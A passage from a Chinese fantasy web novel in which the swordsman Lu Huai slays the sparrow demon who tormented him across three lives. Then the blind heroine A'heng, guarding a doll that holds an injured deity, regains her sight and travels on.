陆淮手臂被黑气灼伤,此时剧痛非常,但他并未露出分毫痛苦之色,却是此时,他看到那绿衣女张开血红的手掌,而她掌中那诡异的紫目外面几层赤金丝快速转动,里面的紫目瞬间化为一道半透明的光障,小小的赤金球中,紫火托着那浑圆的光障,里面显出一个年轻女子的身影,她容貌秀丽,弯眉如黛,铁链缠住她整个身躯,她悬身其中,双目紧闭,似乎昏睡。 陆淮的神情终于一变,瞳孔紧缩:“秋芳。” 阿姮看不见,也不知道那什么秋芳是谁,但她感知得到绿衣女手里的那东西气势更盛,像禁锢着什么。 阿姮使劲嗅了嗅。 似乎是个人类的味道。 绿衣女笑了:“阿淮,你对我绝情,对她却还是这样深情……你说我不明白你们人类的爱,我是不够明白,为什么你可以说不爱我就不爱我?因为你那时发现我是妖?你惧怕我,厌恶我,所以不再爱我,甚至要杀了我……而她是个人,所以你爱她,哪怕她死了,哪怕你们转世成为陌生人,你也还是爱她?” “放了她!” 陆淮冷声道。 “心疼吗?”绿衣女欣赏着他的神情,笑道,“阿淮,这一切都是你造成的,你早早躲去赤霞山,害我找不到你,没办法,我只能先找到她,你还不知道吧?她这辈子本是岐泽国人,家中遭难成为流民,是我将她带来邕宁国,来到这松南岭饮香驿住下,十年了,她早已与你父母做了十年的近邻,我想,总有一日,不论是为了你的父母,还是为了她,你会回来的,今日,你回来了,她也就没有什么利用价值了,她和她的双亲,还有你的双亲,甚至是你……都得死。” “这是你欠我的,阿淮。” 陆淮望着她手中那诡异法器中被困的女子,闭了闭眼,握剑的手青筋暴起:“对你而言,人命究竟算什么?” 他的目光缓缓落在绿衣女脸上:“我早就知道你是妖,从一开始遇见你时,我就知道。” 绿衣女脸上的笑容一滞。 他……说什么? “柯山林密,常有野兽,除砍柴的樵夫,或打猎的猎户,寻常无人踏足,柯山湖水尤其深,从前亦有几起经我手办过的柯山湖溺水案,还有一起谋杀伪装溺水的案子,自谋杀案后,鲜有人敢靠近柯山湖,我亦早叮嘱过衙门中人警示过附近山民,试想,荒山野岭,你与你的婢女两个弱女子游湖不够,还在湖中嬉戏许久,我见过你臂上绿纱,我亲眼见它在莲叶下化成羽毛。” “那时,我便知道你是妖,一只雀妖。” 他那么冰冷的吐出这句话。 绿衣女却顷刻听到自己的心骤然跳得很快,咚咚咚地撞击着她的胸腔,她怎么想也记不起当时自己是否在湖中玩乐忘情之时露过馅,她眉头一皱:“你知道……你什么都知道,那你为什么不爱我了?你为什么杀我?” 陆淮冷笑一声,他的嗓音很沉:“我曾爱你,爱你天真,爱你烂漫,爱你永远的明媚,这些,我从不否认。” 绿衣女怔怔望他。 夜风吹拂他素白的发带,绿衣女忽然忍不住想,也不知他在赤霞山上过了怎样的十七年,为什么这张脸要变得这样清癯苍白,恍神的刹那,绿衣女听见他道:“人如何,妖又如何?我知道你来到人类的世界,自然有诸多不解,我愿意一生为你解惑,愿意永远陪着你做每一件你好奇的事,看鸡生蛋,种君子兰,观春华,摘秋实,我想让你明白很多事,想让你明白我的心,我以为我可以教得会你,哪怕教到我老,教到我死,我心甘情愿成为你入世的法门,你漫长生命中一粒微不足道的尘沙。” “从一开始我就知道我们之间没有长久,你容颜永驻,而我会老会死,我的百年于你太轻,我也从未想过要你如何看重,你便做你,至于我能陪你多久,都是我的缘法。” 绿衣女又听到自己的心跳。 咚咚咚,猛烈地撞击。 恍惚之间,她的脑子里闪过很多画面,那些记忆忽然变得那样清晰,她甚至读懂了那些每日都出现在书斋案上的甘果的意义。 她是山雀,她最喜欢山间甘甜的果实。 而他从一开始,就在投其所好,认真地对待一只山雀的爱好。 什么看鸡生蛋,种君子兰,观春华摘秋实……他为什么,为什么要说这些事,他为什么要自甘成为她入世的法门? 她明明就在这世中,她明明根本不用什么法门! “我以为你嫁给我,便是明白我的心。” 陆淮的声音响起,绿衣女再度对上他的眼睛,听见他说:“你明知你自己修行之法不正,若与我结合必伤我寿元,但你什么也不说,我一日日病重,深感自己恐大限将至,对你,我心中负疚难堪,不知该怎么办才好,可你是如何对我的呢?” 陆淮很不愿意保留那一世的记忆,可他又必须记得,记得他那日去衙门中辞官,却路遇一行脚僧。 “贫僧初到贵宝地便听闻大人虽为主簿,却爱民如子,赈灾救民,宵衣旰食以至于病入膏肓,可今日贫僧看大人却分明是精魄被妖物所摄,才有这般油尽灯枯之兆。” 那行脚僧在热闹的街市上便拦住了他。 陆淮斥了声“胡言”,转身欲走,却再被那僧人拦住,他手中有个钵盂,随手从旁边的水缸里舀起来一钵盂的水,递到陆淮面前:“大人若是不信,还请看这水中。” 陆淮垂眸,那水面摇晃,竟然映出妻子的身影。 她似乎就在书斋院中的秋千上坐,那婢女在身后为她推着秋千,她荡着秋千,笑得开怀。 “小姐,我看姑爷快死了,咱们什么时候走呢?” 那婢女出声,竟然笑吟吟的。 陆淮神情一滞。 “你急什么?”秋千停下来,陆淮见妻子偏头靠在秋千上,似乎想了会儿:“他比从前那些男子有趣多了,可惜他凡人之身与我相合必损寿元,否则,我还想多做几天他的妻子玩儿……” 她绿衣云鬓,珠光映照她娇艳的面庞,语气像有些轻微的惋惜:“等他死了,我定要再找个更有趣的。” 他自甘做她入世的法门,命中的尘埃。 却没想到,原来从头到尾,他什么也不是。 作为他的妻子,只是她口中的游戏。 那行脚僧不见了,陆淮失魂落魄,在县衙西厅中枯坐整夜,天蒙蒙亮时,案前残烛已灭,他听到风吹窗棂的声音,抬眸的刹那,那绿衣女子悄无声息立在一片从窗外透落进来的斑驳清光中。 她身上沾着鲜艳的血迹。 在陆淮的目光中,她扶了扶鬓边的珠钗,嗓音娇婉:“夫君,昨夜为何不归啊?” 陆淮没有说话,端正坐在案后。 她那般明媚的目光转瞬变得阴冷,那是一种非人的阴冷:“你知道了,知道我是什么了对吗?那个臭和尚和你说的?是你叫他来杀我的?” 此时,陆淮方才知道那行脚僧去了哪儿,只不过很显然,那僧人没能杀了她。 她莲步轻迈,走到案前,鬓边的凤钗一颤一颤,幽绿的宝石透如水滴,陆淮短暂地被那钗环夺去目光,那是成亲之时,他亲手送给她的东西。 “他死了,我把他杀了。” 她手指轻抚自己的衣裙:“你看,这些都是他的血。” 她问:“阿淮,你会觉得失望吗?失望我……没有死。” 她话音方落,一柄匕首隔案猛然对准人类心脏生长的位置,狠狠刺入她的胸膛,那柄匕首,是行脚僧消失之前送给陆淮的,上面钉了佛印,所以绿衣女觉得痛极了,她睫毛颤抖着,不敢置信,又怒不可遏地抬起脸,却见他坐在案后,一只手明明还握着刺入她胸膛的匕首的手柄,那双眼明明还睁着,可这间屋子里这样静,她一点也听不见他的呼吸声。 他依旧端正地坐着,那双眼睛空洞无神,忽然,坠下两颗泪来。 绿衣女凝住不动,怔怔地望着从他苍白的脸颊淌下去的眼泪。 “我以为人和妖没有分别,我以为我可以让你明白很多事,我以为……你至少是喜欢我的,是我自不量力,是我愚昧,不知自己从来都是你的玩物,你觉得好玩,便多看我一眼,你觉得无聊,便可以随手将我丢弃。” 陆淮说道:“我原本认了这命,自以为你我之间就此结束,我忘记前尘,投胎转世,与秋芳青梅竹马,两情相悦,从父母命,结为夫妻……你却忽然出现,杀了秋芳,灭我全家……” 陆淮握剑的手更紧,他的眼眶乍红,盯住绿衣女,质问:“秋芳何辜?我全家上下几十口人何辜!你这样的妖物,根本就不值得我爱。” 阿姮在旁听到这儿,不由心中“哇”了一声,那很坏了。 原来根本就不是什么痴情妖负心郎的故事,而是这雀妖一世害死陆淮还不够,竟然还二世寻仇,以一副痴情的口吻,无止尽地纠缠一个可怜的凡人。 绿衣女忽觉心中一刺,她冷冷瞥向掌中法器,那女子仍在其中昏睡:“她就值得吗?” “秋芳善良,知善恶,明人心,她自然值得。” 陆淮说道。 绿衣女听他这样毫不犹豫,她轻声笑了:“你还爱她的话,为什么这一世你却从来不去找她?” “前世是我害了她,今生,她还是自由自在的好。” 陆淮看向那法器中女子的身影:“你从来不明白人间情爱,也许你这样的妖邪就是永远也不会明白,你永远不会爱我,所以你可以轻易地践踏我的真心,你本以轻蔑的眼光看待这个人间,我以为我教会了你很多事,可你其实根本不在乎这些,你漫不经心地看我为你做那么多在你看来根本毫无意义的事,你全然将那当作无聊的消遣,你将我玩弄于股掌,三世纠缠,也根本不是因为我爱上秋芳,不再爱你,而是你始终对刺你的那一刀心存不甘,你要报复我,你有大把的时间报复我,像一头并不饥饿的恶兽抓来一个猎物,不为果腹,只为将其玩弄至死,这便是你蔑视人性的玩心。” “你用你漫长的生命,尽情地折磨我每一段短暂的人生……” 陆淮的白玉剑锋缓缓对准她的脸,如今与她相对,他胸中早已没有丝毫爱恋:“我向阎王求来记忆,留住执根,就是为了这辈子记得你,记得你践踏过我作为一个人的真心,尊严,生命,记得你杀我爱妻,杀我全家的仇恨,你不放过我,我亦不会放过你,今生我以这七七四十九恶妖之骨铸此斩妖除魔之剑便是为了今日杀你。” “妖孽,把秋芳还给我。” 陆淮持剑而去,剑气随他心绪更加暴戾,绿衣女手握赤金法器破开剑气,却仍被那气流震得指骨发麻。 陆淮在赤霞山苦修十七年剑术,也不知是得了谁的指点,又或者说他本就天资聪颖,这剑术竟然十分不俗,哪怕他只有个十几年的修为,对上绿衣女这只三百年的雀妖,以这柄他亲手铸出的凶剑竟也十分能克制绿衣女的招数。 “看看人家自己铸的剑,那剑可比你新,”阿姮听着风中的声音,忍不住对万木春道,“你再看看你,还神物呢。” 陆淮的那柄剑是一柄以妖克妖的凶剑,上面结满了无数对妖的禁制,自然可以做一柄斩妖除魔的好剑,但绿衣女即便已经受伤,依靠她那法器,却仍在源源不断地增长功力。 陆淮每一剑都直逼绿衣女的紧要之处,杀意锐不可当,哪怕绿衣女以法器将他身上灼出道道血痕,他也依旧不肯放松一步,抓住机会,剑锋刺向她咽喉。 绿衣女被他的剑划了几道口子,法器更贪婪地吸食她的血,她浑身的黑气将陆淮震出去,陆淮摔在地上吐出血来。 阿姮原本还在看戏,但听见陆淮的动静,她手一抬,万木春飞出去,刺中绿衣女的肩骨,将她钉在湖水对岸的树干上。 绿衣女发出鸟类的尖啸,忽然一阵尖锐的铃音响起,阿姮看不见那绿衣女手中的法器飞速转动,里面光障中那被铁链捆缚的年轻女子忽然睁开了眼,却直直地盯住阿姮所在的方向。 紫光闪烁,女子破障而出。 苍白纤瘦的手探向阿姮怀中的布娃娃,阿姮看不见,却感觉到炁的流动,她抬掌往下,那只手却闪躲开,顷刻攻向阿姮心口。 布娃娃猛然脱离阿姮的手,挡下一击。 涌动的气流逼得阿姮踉跄退了几步,她手中空空的,此时她什么也看不到,也不知道布娃娃掉在了哪里,她有点慌张地喊:“小神仙!” “阿姮姑娘,我之前送你的礼物,你喜欢吗?” 那道还算稚嫩的,少女的声音响起。 那不是秋芳。 陆淮站起身,看到那女子淡薄的身影,那似乎是个只有十三四岁的少女。 “清峨。” 阿姮的脸色阴沉极了,风中的炁随她变化,风都好似因此而变得无比刺骨,红云烈焰随风而涌,那鞜樰證裡清峨却轻笑一声,淡薄的身影避也不避,破雾而去,直逼落在地上的那个布娃娃而去。 正是此时,幽蓝的光障骤然凭空出现,阿姮觉得有人托起了她的手,万木春脱离绿衣女的肩骨掠过水岸而来,借此人之力还有阿姮自己之力打出去,她什么也看不到,只闻风中炁有万变,万钧之力轰然而去,风中,似乎什么消失了。 陆淮与绿衣女却看得很清楚,满园红雾弥漫,金电滋滋作响,那道少女淡薄的身影被那根焦枝刺破,消失无形。 绿衣女飞身而去,连忙想要抓回她那个悬在空中的法器,却被阿姮浑身弥漫的红云烈焰灼伤,正是此时,她身形猛然一滞,缓缓垂眸,只见白玉剑锋自她背后穿胸而过,正在胸腔中间,刺破她的妖心,鲜血汩汩涌出,白玉剑猛然抽出去,绿衣女顿时摔倒在地。 风声呼啸,绿衣女的睫毛眨了又眨,此时竟然落了雪,她口中满含鲜血,胸口正中一个血洞,绿纱委顿,再不迎风而动。 陆淮手持那柄白玉剑,剑上沾满了她鲜红的血,绿衣女看见血珠顺着剑锋一颗一颗地往下滴,她目光缓缓上移,看见他那张平静的脸。 她眼前却不由浮现出那个时候,在县衙的那间屋子里,他端坐在一张书案后,苍白清瘦,生息全无,那双毫无神采的眼无声滴下泪来。 她好痛。 这一次,她亦感到无比的剧痛。 这些痛,是他给的。 绿衣女张了张口:“阿淮……” 阿淮。 她不知道自己要说什么,该说什么,她不明白自己是不是真如他所言,因为她是妖,所以从来不明白所谓情爱。 她从来不曾真正回应他的爱,甚至,她践踏他的爱。 她践踏很多人类的生命,践踏很多人类男人的爱,因为她感受不到这些,她也懒得去感知这些。 可是,她为什么忘不掉他的眼泪呢? 是因为他和她曾遇见的那些男人都不一样吗?那些男人贪图她的颜色,青春,却从来不会像他一样,想着要教她什么,要她记住什么。 观春华,摘秋实。 她从前根本不知道这其中的美好。 人类平凡的生命又有什么好珍惜的?他们死了,还能轮回转世,再活一回,两回,三回……很多回。 可是,绿衣女此时忽然明白了点。 人类的轮回转世并不意味着那个人会永远存在,从前的陆淮死了,那就是永永远远地死了,第二世的陆淮爱上了秋芳。 第三世的陆淮,只会和她你死我活。 那个真心诚意爱她的陆淮,早就被她害死了。 “阿淮。” 绿衣女口中反复喃喃他的名字,睁着眼,断了气。 绿纱化羽,她的身形逐渐化成她的山雀本相,又破碎成点点莹光,随雪消散。 陆淮冷峭的脸轻抬,瞥向雪中淡淡散去的莹光。 阿姮俯身在地上摸索了一会儿,终于摸到布娃娃,她连忙捡起来,此时,幽蓝光障中,一个老妪走了出来。 陆淮缓缓转身,看向她。 “你的执根散了。” 老妪凝视着他,年纪正好的一个人,却被这三世不断的孽缘折磨成这样,她叹了口气。 陆淮俯首,说道:“陆淮永世不忘阎王与您的恩德,阎王赐我铸剑之法,您保留我的执根,今日陆淮大仇得报,前生因果俱消,今后,陆淮必定谨记当日在地府之中对阎王许下的誓言,不沾尘缘,永生奉道,斩妖除魔。” “……孟婆?” 阿姮听出来老妪的声音。 方才助她将清峨赶走的人,便是孟婆? “小姑娘眼睛虽瞎,耳朵倒好。” 孟婆看向她。 阿姮闻言一顿,心中顿时有点怀疑,孟婆是不是听到她在心里偷偷说她老眼昏花了。 孟婆又对陆淮叮嘱道:“这柄凶剑要冰霜般冷冽的意志才能压得住,所以才让你不沾尘缘,少结因果,你的心志坚,剑即利,此非常铸剑之法铸非常凶悍之剑,它由你铸成,从此与你一命共存,你选择了它,就只能顺着这条路走下去了。” “弟子定谨记教诲。” 陆淮垂首。 孟婆看了一眼她怀里的布娃娃:“你眼睛如此,要如何带他走?” “我可以。” 阿姮说道。 孟婆看她浑身破破烂烂的不成样子,目光在她额头停留了片刻:“方才那是天衣圣女的分身,她如今已得天衣神族大乘传承,身种无数法器,可化无数分身,她今日是为夺什么而来,你应该也猜到了。” 还能为什么,不就是小神仙放在身上的两枚火种么? 阿姮说道:“你要取走火种?” 孟婆摇头:“小殿下用镇坛木禁锢火种,又封在自己身上,他如今又这样虚弱,我老婆子稍微动一动他,怕是火种没取出来,小殿下先要丧命。” “天衣圣女绝不会善罢甘休,我与阎王只得先发制人,先去清理这松南岭周遭被天衣人法器所控的恶妖,让她的眼睛再也找不准你的方位,至于你,你自己多加小心,为保万全,切勿向任何人透露火种在小殿下身上的事。” 孟婆说罢,幽蓝的光障连同她的身影瞬间消失。 孟婆与阿姮说话的声音极低,陆淮并没有听清,孟婆离开,陆淮忽然察觉到满园未散的红雾中似乎又一点微末的妖气,那并不是绿衣女残留的气息,他的目光倏尔落到那素衣少女身上。 她是妖。 这一认知瞬间清晰,陆淮下意识摸剑,却又一下顿住,此时廊庑里忽然有了声响,他抬眼看去,爹娘与奴仆幽幽转醒,他们身上暗红的雾气消散。 那似乎是一道保护禁制。 陆淮又想起方才她与孟婆似乎熟稔,若是恶妖,孟婆必不会纵容,他沉默地将剑收回背后的剑鞘之中。 阿姮明明感受到那一瞬之间的杀意,但很快,那杀意消弭于无形。 她握着万木春的手指略松了松。 “哎?妖怪呢?老爷这回重金请来的十仪娘娘好像还真行?”有奴仆爬起来往园子里一望,没见着那妖怪,不由欢欣道。 陆老爷看见那白衣玉剑的青年,颤颤巍巍喊道:“淮儿?” 陆淮跪下去:“爹,娘,是淮儿。” 陆夫人眼泪顿时淌下来,老两口惊魂未定,颤颤巍巍地相扶着要从廊上下来,却见陆淮俯身叩首,一声,一声,又一声。 “十七年,孩儿不曾一日在二老膝前,是孩儿不孝,爹,娘,四海妖祸不断,天下民不聊生,孩儿早向阎王明志,今生定要以手中这柄降妖除魔的利剑,斩尽天下妖魔,如此,便不能全人子之责,还望爹娘宽恕。” 陆夫人满脸是泪,她是那么的不舍,这个孩子她只看到八岁,十七年再没见过,今后,也不知还能再见几面,她哭得说不出话。 陆老爷也红了眼眶,他忍了好一会儿,才说:“我儿志向远大,为父……为父又怎敢将你拘在一个这样一个小小家中呢?” “反正……” 陆夫人哽咽着说道:“反正儿子长大了,总是要离开爹娘的,何况淮儿你是为了咱们,为了苍生,娘……不拦你,不拦你,淮儿,常寄信回来吧,好吗?多少也回来几趟吧,让娘……多看看你啊。” 陆淮绷紧下颌,眼眶发红,他又俯身一拜:“儿子会的。” “去吧,去吧……” 陆老爷拥着陆夫人,转过脸去。 陆淮站起身来,他看了一眼阿姮怀中的布娃娃,说:“爹,娘,这位姑娘的报酬,你们多给些吧。” 陆淮转身,再不停留,朝那角门走去,很快消失在一片飞雪之中。 阿姮听到陆夫人难以压制的哭声。 她思索着陆淮方才那句话,难道他看出来她怀里的布娃娃是傀儡术,他看出来她很需要那些珠宝的精纯清气? 陆老爷夫妇才匆匆见过儿子一面,便又别离,自然伤怀,但他们却也没忘记儿子的叮嘱,之前约定好给阿姮的报酬,多添了好几箱。 陆老爷还说要给阿姮修个十仪娘娘庙,阿姮当场婉拒。 她又不吃香火,要个庙做什么。 阿姮还让奴仆照着灯,帮她在院子里找到那绿衣女的凤钗,她手指摩挲着触碰到流苏上的绿宝石。 绿衣女早已经化于无形了。 阿姮却忽然想起惠山元君,她记得惠山元君曾说,妖入了人的红尘,所结恶果累累,也许正如这绿衣女。 她占尽妖的寿数,玩弄陆淮的真心,又不许他爱上别人,她用漫长的寿数纠缠陆淮的一世,两世,三世,逼得陆淮断尘缘,铸凶剑,亲手斩断她这个累世孽缘。 陆淮出了陆家,一路向西行,不知不觉,天光明亮。 路上风雪更重。 他背剑而行,山间风声凛冽,忽然间,马蹄声远远传来,陆淮抬眸,风雪之间,两个少女并辔而行。 “小姐!小姐你别跑那么快!” 梳丫鬟髻的女子心惊肉跳地骑着马,见身边小姐很快往前去了,她连忙叫喊。 “承敏今日回来,我要第一个去恭喜他中举!” 那女子带着素纱帷帽,回头看一眼后面的丫鬟,笑声轻盈。 她再转过脸,素纱扬起,马蹄飞踏过道旁白衣玉剑的道士身边,道士抬眸,看清她的脸。 那是一张他无比熟悉的脸。 多少午夜梦回,他泪湿满襟,总在懊悔她的惨死。 那女子并未注意到他,向雪疾驰,丫鬟也很快骑马路过道士身边,风中,丫鬟的声音响起:“小姐,绿姐姐将咱们带到这儿来,是让你等自己前世的有缘人的!你这样去找承敏公子,若是绿姐姐知道了会生气的!” “什么有缘人!” 那女子马背上的身影缥缈潇洒,马蹄踏过薄薄雪浪:“我才不要什么前世的因来种今生的果!今生的我又不是前世的我,我就要去找承敏!” 陆淮与那两道疾驰的影子背道而行,猎猎的风吹着他的衣角。 马蹄在身后渐远,而他,也不曾止步。 阿姮并未在陆府久留,她耗尽陆老爷给她的财宝中所有珠玉的精纯清气,全部渡到布娃娃身上的珠饰中。 阿姮看不到,也不知道布娃娃身上的金色裂纹到底少了没有。 他怎么还是安安静静,一点反应都没有。 阿姮坐在河边,考虑着要不要转头回去找陆老爷,让他在给点,也不知道他会不会答应……万一不答应呢? 强抢吗? 阿姮犹豫了一会儿,手指忽然摸到自己指节上的东西。 她眼睛一亮,对啊,她还有一颗小神仙给的霞珠! 可阿姮用尽力气都没有办法将手上的霞珠摘下来,阿姮气得蹬了几脚河水。 她摸着指节,漫不经心地想: 一根手指没那么重要,顶多就是比人类要少一根而已,也没什么大不了,顶多就是有一点不漂亮。 ……不漂亮就不漂亮吧。 阿姮扬手,万木春顿时幻化于她手中,她将那根食指抵在一块光滑的石头上,焦黑的枝尖凭着感觉,毫不犹豫往下的刹那,布娃娃在她怀中震颤,珠饰清音凌乱,这一瞬,阿姮听到那道久违的,清如玉磬的声音: “阿姮,住手!” 第73章 第73章 她的指腹上,点缀,着一颗鲜…… 手中万木春的之间距那根抵在石上的食指仅毫厘之差, 料峭河风迎面吹来,阿姮耳边几缕乱发擦着脸颊轻轻扬起,她一双暗红无神的眼轻抬起来,手指一松, 万木春瞬息飞回她发间成簪, 绽放春花。 阿姮眨了眨眼睛, 粼粼河面映出她愕然的神情:“……小神仙?” 河风阵阵,飞鸟偶啼,阿姮忙将布娃娃捧起来, 珠饰清音碰撞, 她把耳朵凑到布娃娃身上:“小神仙, 真的是你吗?” “凡人尚且信奉身体发肤受之父母, 轻易不敢毁伤,你难得一副躯壳, 却一点也不知道珍惜。” 他的声音响起。 此时此刻, 阿姮终于敢相信,真的是他。 不是那些她栖身破庙神像中时反复经历的, 杂乱无章的幻觉。 “我又不是人类, 也没有父母, 没人生一副血肉壳子给我。” 阿姮缓缓扬起笑容:“我的壳子, 是你给我做的。” “我说过, 我不能再为你造出第二副这样的躯壳了,阿姮,你总是记不住我说的话。” 程净竹的声音有点冷硬。 “你说的话我都记得啊。” 在阿姮的那些幻觉里, 小神仙只会重复地唤她的名字,每一次,她都想不由自主地应, 他很久,很久没有这样和她说过话,也没有生过她的气,阿姮这样想着,又说:“小神仙,真的是你。” 她轻快的声音里充满着失而复得的欢欣雀跃。 一瞬的静谧。 静到只有河风声声。 片刻,阿姮听到他似乎很轻地叹了口气,连声音也变得像风那样柔和:“阿姮,辛苦了。” 风雪渐渐停了,天上的浓云却并未散去,神明布下的雷电如网仍无时无刻不在威慑世间妖魔,雷声隐隐,天色昏昏,风中流动的炁为阿姮辨明方向,她出了饮香驿,再度路过陈家村,忽听几个小孩一声声地大喊: “十仪娘娘!” “十仪娘娘!” 阿姮停了下来,听见那些越来越近的步履声,她回过头,那三个小孩儿很快跑到她面前来,他们七嘴八舌: “娘娘,您要走了吗?” “您去哪里啊?” “您要回天上吗?” 他们真的有点吵,阿姮听着这些声音,终于想起来,他们似乎就是之前在午山九仪娘娘庙里被她吓跑的那三个,很显然,雀妖的死讯经过一夜已从饮香驿迅速传到这陈家村中来了,他们还真信了她那番九仪表妹的鬼话。 “不走,留下来吃小孩儿吗?” 阿姮慢悠悠道。 小女孩儿最先脸红,她仰起脸,望着阿姮,说:“我娘说,神仙才不吃小孩儿呢。” “我可不是什么神仙娘娘,骗人玩儿的话你们也信。” 阿姮哼笑:“笨崽子。” 那个胖乎乎的小男孩望着阿姮那双虽无神采,却十分诡异的暗红眼眸,他本能的还是有点害怕,腿抖有点软,但他还是把一直抱在怀里的布兜一下塞到阿姮怀里,阿姮眉头一皱,却敏锐地嗅到了些热腾腾的香味。 她一顿。 “娘娘,这里面有我家的饼子。” “还有我家的烧鹅!” 干瘦的男孩儿和那个小女孩儿连忙说道,而那个胖乎乎的小男孩则摸了摸自己的屁股,有点委委屈屈的:“娘娘,上回您说我家的馒头没馅儿不好吃,我就让娘给我做有馅儿的馒头,结果被娘打了屁股……” “她为什么打你屁股?” 阿姮问道。 “因为馒头就是没有馅儿啊。” 胖小孩儿说着,又望着她笑起来:“不过娘娘,这兜子里的馒头有馅儿,我自己包的红糖馅儿,可甜了!” 那干瘦的小男孩儿也连忙说道:“我娘给饼子刷了桂花酱!香香甜甜的!” 他偷偷地瞧着阿姮,又说:“娘娘,我……我不知道您是不是神仙,但是我想,您把那个大妖怪都给收拾了,就算您是妖,也是好妖吧。” 阿姮循着他的方向侧过脸。 “我娘说,整个松南岭的坏妖怪都跑了,但是外面很多地方都还在闹妖怪……娘娘,我要去学和您一样厉害的本事,保护我爹我娘,还有很多很多的人,当一个降妖除魔的大侠!” 阿姮看不见他的样子,但听他的动静,却也知道他此时一定一边说着这番话,一边手舞足蹈地比划着些花拳绣腿。 “我一直想做个大侠,行走江湖,打恶人,帮好人,要是可以这样过一辈子,肯定很快活!” 阿姮不自禁地想起,也曾有个小孩儿在山间蹦蹦跳跳地对她这样说过。 天边雷电无边,清风淡淡,阿姮抱着那个被塞得满满当当的布兜,垂下眼帘,说:“陈小山,陈小虎,陈小秀。” 三个小孩儿愣住了。 娘娘……竟然清楚地记得他们的名字! 阿姮循着他们所在的方向,说:“你们一定要长大。” 要长大,要活着,要从这么小小的一个人类崽子平安地长成一个大人,想做大侠,就去做大侠,想行走江湖,就去行走江湖,过完属于一个人类的,快活的,完整的人生。 三个小孩儿其实谁也不是听得很明白,但他们你看我我看你,最后齐齐望着阿姮,乖乖地点头,齐声道:“知道了娘娘!” 阿姮转身,从布兜里抓了个圆乎乎软绵绵还热热的东西出来,正是陈小虎家的馒头,她一边走,一边咬一口馒头。 红糖香甜的味道很快弥漫于唇齿。 但又好像有哪里不对。 阿姮从嘴里吐出来个东西,这个陈小虎到底塞了什么在馅儿里,差点没把她牙崩掉!阿姮气冲冲地抬头,眼前却忽然一阵白光乍现,刺得她双目生疼,连眉骨都作痛,强烈的眩晕令她踉跄退了几步,光越来越强烈,阿姮下意识地用手去挡,也是这一瞬,她猛然惊觉这光竟然是可以被她的手挡住的…… 阿姮眼睫颤动,她缓缓地睁开眼睛,一片白花花的亮光渐渐晕散开来,忽然之间,天光,云影,纷至沓来。 她看见自己的手,那个被她吐出来的东西正躺在她的掌心,原来是一粒碎银。 阿姮回过头,三个小孩儿正蹦蹦跳跳地往前跑,那个胖乎乎的小孩儿像是忽有所感,回过头来,见阿姮回首,他便使劲地招手,傻乎乎地喊:“娘娘!我在馒头馅儿里包了我的压岁钱,你吃到了,它会保佑你新年平安的!” “陈小虎!” 陈小秀拍了他一巴掌:“娘娘那么厉害,哪里用得着它保护!” “万一用得着呢……” 小孩儿们的身影渐渐模糊,远处,山雾淡淡,苍翠的草木掩映着小小村郭,万般色彩映入阿姮眼中,她收拢掌心,捧起布娃娃,布娃娃身上的珠饰轻轻晃动,剔透泛光,阿姮动了动嘴唇:“小神仙,我……我看见了!” 她再度看见这个有很多,很多颜色的世界,她看见天边的雷云,连绵的山廓,湿润的山雾,脚下的尘泥,还有,他身上的珠饰。 这不再是霖娘带给她的感官,而是,真正属于她自己的感官。 也许是孟婆与阎王的雷霆手段,松南岭一夜之间妖患几乎销声匿迹,临近的一座小镇上也即刻恢复了些热闹,阿姮如今双目清明,自然方便许多,妖患稍平,镇上便有一些讨生计的摊贩摆上了摊子,阿姮本是路过此镇,但见各种摊子琳琅满目,她一时间有点被迷了眼,总要这看看,那瞧瞧。 “小神仙,你说,我的五感不会再消失了吧?” 阿姮拿起来个五颜六色的小盒子看了看。 “从前你的五感消失,是因为那本不是你的东西,五感因情而生,人的情绪会促使一个去感知一切,这种感知会因为情绪的波动而外化为视、声、味、闻、触,成为人更深入感知世间万物的法门。” 程净竹的声音在她耳边响起:“你对那三个孩子的祝福出于心,发于情,而那个孩子的那枚压岁钱亦是出自他的情所产生的真心祝愿,万物有情,无不有知,情生五感,便在情绪牵动的瞬息之间,一旦拥有,那便永远都是你的东西。” 阿姮放下盒子:“谁祝福他们了!我又不是你,没有言出法随的本事,我的祝福一点用都没有。” “谁说没用?” “不是吗?” 阿姮捧起布娃娃。 “人类彼此之间的善意,是会使彼此安适,各得善果的。” 程净竹说。 阿姮哪里听得懂这些善意善果的,她嗅到风中好多的香味,一下便被那些香味夺去了注意力,她飞奔到食摊前,各色的糕饼,炸果子,糖丸闯入她的眼帘,那摊贩见摊子前猛然冲过来个姑娘,下意识摆起笑脸,却又见她一身衫裙脏兮兮的活像个小乞丐,摊贩迟疑了一下,问:“姑娘……要买些吗?” 天上还打着雷,电光闪烁,光影昏昏,剧烈勾缠的雷电底下,摊贩们叫卖着,人们来回着,满街都是食物的香味,到处都是热闹的人声。 阿姮正要点头,却听见旁边有妇人叫卖:“瞧瞧我家的布,都来瞧瞧我家的布吧……颜色鲜亮,买回去裁身漂亮衣裳咯!” 她转过脸,那妇人摊子上重叠的各色布匹,阿姮一眼看见那一卷放在最上面的,暗红色的布匹。 阿姮低头看了一眼怀里的布娃娃,昨夜在陆府布娃娃掉到地上,身上的衣裳就弄脏了,漂亮的珠饰也遮不住那块脏痕。 阿姮望了一眼面前的食摊,转头就跑到卖布的妇人那儿去。 在阿姮耽搁在松南岭的这些时日,天上的雷电早已变得更加厉害,阿姮就算肯捱雷劈,也无法施展御风之术往云端上去了。 如今只要是个妖,不论往哪儿去,都得老老实实靠两条腿走路。 阿姮之前只顾问那陆老爷要珠宝,却忘了多要点钱,入了夜,阿姮悄无声息地潜入镇上一间客栈中,如今天下大乱,也没几个外乡人过路,客栈生意十分惨淡,只有一个跑堂在大堂里哈欠连天地守夜。 他却根本不知,楼上某间屋内,早已悄然住了人。 程净竹并不是任何时候都会回应阿姮,他受了那样重的伤,身上金色的裂纹至今也没有完全消失,阿姮觉得,他应该是没有那么多的精力可以一直清醒地听她说话的。 屋子里没有点灯,但阿姮这双比人类强百倍的眼却可以借着窗外雷火看清楚一切,布娃娃被她放在床上,她想了想,又把被子扯过来盖在布娃娃身上,这才满意,转身到桌前坐下,拿起来那一小块暗红色的布料左看右看。 她的那点钱只够买这么一小块。 阿姮想,她连荷包那样的东西都做得出来,做个布娃娃的衣裳而已,应该……一点也不难吧? 阿姮拿起来剪刀,盯着那块布料片刻,终于对它下手了。 